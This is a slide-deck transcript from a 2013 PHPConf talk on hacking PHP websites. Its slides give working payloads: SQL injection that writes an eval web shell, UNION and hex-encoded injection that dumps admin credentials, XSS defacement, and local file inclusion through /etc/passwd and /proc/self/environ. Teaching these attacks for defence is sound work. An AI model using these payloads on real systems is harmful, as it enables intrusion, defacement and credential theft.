Upgrade to Pro — share decks privately, control downloads, hide ads and more …

PHPConf 2013 - 矛盾大對決

Orange
October 05, 2013

PHPConf 2013 - 矛盾大對決

能入侵任何網站的駭客 vs. 絕對不會被入侵的網站

Orange

October 05, 2013
Tweet

More Decks by Orange

Other Decks in Technology

Transcript

  1. About Me •  蔡政達 aka Orange •  2009 台灣駭客年會競賽 冠軍

    •  2011, 2012 全國資安競賽 金盾獎冠軍 •  2011 東京 AVTOKYO 講師 •  2012 香港 VXRLConf 講師 •  2013 台灣 HITCON 講師 •  台灣 PHPConf, WebConf, PyConf 講師 •  專精於 –  駭客攻擊手法 –  Web Security –  Windows Vulnerability Exploitation
  2. About Me •  CHROOT  Security  Group  Member   •  Work

     at  DevCore   •  Blog   – h>p://blog.orange.tw/
  3. 寫後門改首頁 •  show.php?id=20 into outfile '/var/www/.a.php' lines terminated by '<?php

    eval($_POST[cmd]);?>' •  http://you-shall-not-hack.me/.a.php – POST echo `ls -alh` – POST `echo Hack by Orange > index.php`
  4. 使用 UNION 污染 SQL 結果 •  show.php?id=1 – SELECT * FROM

    news WHERE id=1 •  show.php?id=1 union select 1,2,3 – SELECT * FROM news WHERE id=1 union select 1,2,3 •  show.php?id=-1 union select 1,2,3 – SELECT * FROM news WHERE id=-1 union select 1,2,3
  5. 繞過單引號過濾檢查 •  單引號被過濾怎麼辦? – 還是可以進行 SQL Injection – ( SELECT 'foo' )

    等價於 ( SELECT 0x666f6f ) – show.php?id=-1 union select username,password,3 from admin where username like 0x2561646d25 •  into outfile '/var/www/.a.php' 就不能這樣搞了 – 不能寫檔怎麼辦?
  6. 跳出思考框框 •  XSS 並不是只有跳個視窗或是偷 Cookie 而已 •  利用 XSS 劫持

    window.onload 修改首頁 – <script> window.onload = function(){document.write(/ Hacked by Orange/)} </script>
  7. Double Quote Evalutation •  $db_user = "root"; •  $db_user =

    "root $foo"; •  $db_user = "root ${@phpinfo()}"; •  $db_user = "root ${@eval($_POST[cmd])}";
  8. Local File Inclusion $_mod = $_GET[module]; include( 'modules/' . $_mod

    . '.php' ;) – index.php?module=login – index.php?module=logout – index.php?module=admin – index.php?module=add
  9. Local File Inclusion $_mod = $_GET[module]; include( 'modules/' . $_mod

    . '.php' ;) – index.php?module=login – index.php?module=./login – index.php?module=./login.php%00 – index.php?module=../../../etc/passwd%00
  10. Local File Inclusion •  include( 駭客可控檔案內容 ) = GG – 上傳圖片

    – /var/log/httpd/access.log – upload + $_FILES[file][tmp_name] – /proc/self/environ •  index.php?module=../../../../proc/self/environ – User-Agent: <?php file_put_contents('.a.php',$_POST[c]); ?>